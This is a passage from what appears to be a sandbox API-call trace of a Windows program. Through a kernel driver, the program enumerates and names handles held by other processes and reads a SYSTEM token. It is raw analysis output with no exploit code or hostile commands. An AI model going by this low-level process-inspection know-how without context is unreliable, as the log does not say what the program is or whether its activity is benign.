bInheritHandle=0, dwProcessId=0xc30) returned 0xc0 [0081.635] GetCurrentProcess () returned 0xffffffffffffffff [0081.635] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.635] CloseHandle (hObject=0xc0) returned 1 [0081.635] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.635] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.635] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.635] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.635] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.635] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0081.635] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.635] PsAcquireProcessExitSynchronization () returned 0x0 [0081.635] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880054525d0) [0081.636] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0081.636] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.636] PsReleaseProcessExitSynchronization () returned 0x2 [0081.636] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x1f [0081.636] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80038547c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038547c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.636] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0081.636] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.636] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.636] CloseHandle (hObject=0xbc) returned 1 [0081.636] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xbc [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.636] CloseHandle (hObject=0xbc) returned 1 [0081.636] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.636] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.636] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.636] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.636] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.636] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.636] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.636] PsAcquireProcessExitSynchronization () returned 0x0 [0081.636] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054525d0) [0081.636] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0081.636] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.636] PsReleaseProcessExitSynchronization () returned 0x2 [0081.636] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0081.636] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.636] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0081.636] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.636] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.636] CloseHandle (hObject=0xc0) returned 1 [0081.637] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.637] CloseHandle (hObject=0xc0) returned 1 [0081.637] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.637] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.637] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.637] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.637] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0081.637] CloseHandle (hObject=0xc0) returned 1 [0081.637] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0081.637] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0081.640] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0081.640] GetLastError () returned 0x32 [0081.640] SetLastError (dwErrCode=0x32) [0081.640] GetLastError () returned 0x32 [0081.640] SetLastError (dwErrCode=0x32) [0081.640] CloseHandle (hObject=0xc4) returned 1 [0081.640] CloseHandle (hObject=0xbc) returned 1 [0081.640] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xbc [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0081.640] CloseHandle (hObject=0xbc) returned 1 [0081.640] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x37cb70 [0081.640] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x37cb70, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x37cb70*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0081.640] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054525a8 | out: Process=0xfffff880054525a8) returned 0x0 [0081.640] PsAcquireProcessExitSynchronization () returned 0x0 [0081.640] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054525c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054525c8) [0081.640] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff880054525b0, HandleInformation=0x0 | out: Object=0xfffff880054525b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0081.640] PsReleaseProcessExitSynchronization () returned 0x2 [0081.640] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0081.640] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054525a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054525a4) returned 0xc0000004 [0081.640] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002a5a630 [0081.640] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002a5a630, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002a5a630, ReturnLength=0x0) returned 0x0 [0081.640] ExFreePoolWithTag (P=0xfffff8a002a5a630, Tag=0x0) [0081.640] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0081.640] KeUnstackDetachProcess (ApcState=0xfffff880054525c8) [0081.641] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.641] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.641] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.641] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.641] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.641] PsAcquireProcessExitSynchronization () returned 0x0 [0081.641] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054525d0) [0081.641] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0081.641] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.641] PsReleaseProcessExitSynchronization () returned 0x2 [0081.641] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0081.641] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.641] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0081.641] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.641] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.641] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xbc [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0081.641] CloseHandle (hObject=0xbc) returned 1 [0081.641] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x37cb70 [0081.641] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x37cb70, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x37cb70*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0081.641] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054525a8 | out: Process=0xfffff880054525a8) returned 0x0 [0081.641] PsAcquireProcessExitSynchronization () returned 0x0 [0081.641] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054525c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054525c8) [0081.641] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff880054525b0, HandleInformation=0x0 | out: Object=0xfffff880054525b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0081.641] PsReleaseProcessExitSynchronization () returned 0x2 [0081.641] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xba [0081.641] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054525a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054525a4) returned 0xc0000004 [0081.641] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002a5a630 [0081.641] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002a5a630, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002a5a630, ReturnLength=0x0) returned 0x0 [0081.641] ExFreePoolWithTag (P=0xfffff8a002a5a630, Tag=0x0) [0081.641] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0081.642] KeUnstackDetachProcess (ApcState=0xfffff880054525c8) [0081.642] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.642] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.642] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.642] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.642] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.642] PsAcquireProcessExitSynchronization () returned 0x0 [0081.642] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054525d0) [0081.642] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0081.642] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.642] PsReleaseProcessExitSynchronization () returned 0x2 [0081.642] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xba [0081.642] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa8003956044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003956044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.642] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0081.642] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.642] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.642] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xbc [0081.642] GetCurrentProcess () returned 0xffffffffffffffff [0081.642] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0081.642] CloseHandle (hObject=0xbc) returned 1 [0081.642] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x37cb70 [0081.642] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x37cb70, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x37cb70*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0081.642] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054525a8 | out: Process=0xfffff880054525a8) returned 0x0 [0081.642] PsAcquireProcessExitSynchronization () returned 0x0 [0081.642] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054525c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054525c8) [0081.642] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff880054525b0, HandleInformation=0x0 | out: Object=0xfffff880054525b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0081.642] PsReleaseProcessExitSynchronization () returned 0x2 [0081.642] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0081.642] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054525a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054525a4) returned 0xc0000004 [0081.642] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a002b24890 [0081.642] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002b24890, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002b24890, ReturnLength=0x0) returned 0x0 [0081.642] ExFreePoolWithTag (P=0xfffff8a002b24890, Tag=0x0) [0081.642] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0081.642] KeUnstackDetachProcess (ApcState=0xfffff880054525c8) [0081.642] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.643] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.643] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.643] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.643] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.643] PsAcquireProcessExitSynchronization () returned 0x0 [0081.643] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054525d0) [0081.643] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0081.643] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.643] PsReleaseProcessExitSynchronization () returned 0x2 [0081.643] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0081.643] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.643] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0081.643] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.643] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.643] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0081.643] GetCurrentProcess () returned 0xffffffffffffffff [0081.643] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0081.643] CloseHandle (hObject=0xbc) returned 1 [0081.643] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.643] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x70) returned 0x364c70 [0081.643] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.643] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.643] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.643] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0081.643] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.643] PsAcquireProcessExitSynchronization () returned 0x0 [0081.643] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054525d0) [0081.643] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0081.643] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.643] PsReleaseProcessExitSynchronization () returned 0x2 [0081.643] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x203 [0081.643] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.643] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0081.643] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.644] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.644] CloseHandle (hObject=0xc4) returned 1 [0081.644] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc4 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.644] CloseHandle (hObject=0xc4) returned 1 [0081.644] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.644] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x90) returned 0x364840 [0081.644] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364840, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x364840, ReturnLength=0x0) returned 0x0 [0081.644] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364840 | out: hHeap=0x340000) returned 1 [0081.644] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.644] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.644] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.644] PsAcquireProcessExitSynchronization () returned 0x0 [0081.644] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054525d0) [0081.644] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0081.644] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.644] PsReleaseProcessExitSynchronization () returned 0x2 [0081.644] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd2 [0081.644] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.644] 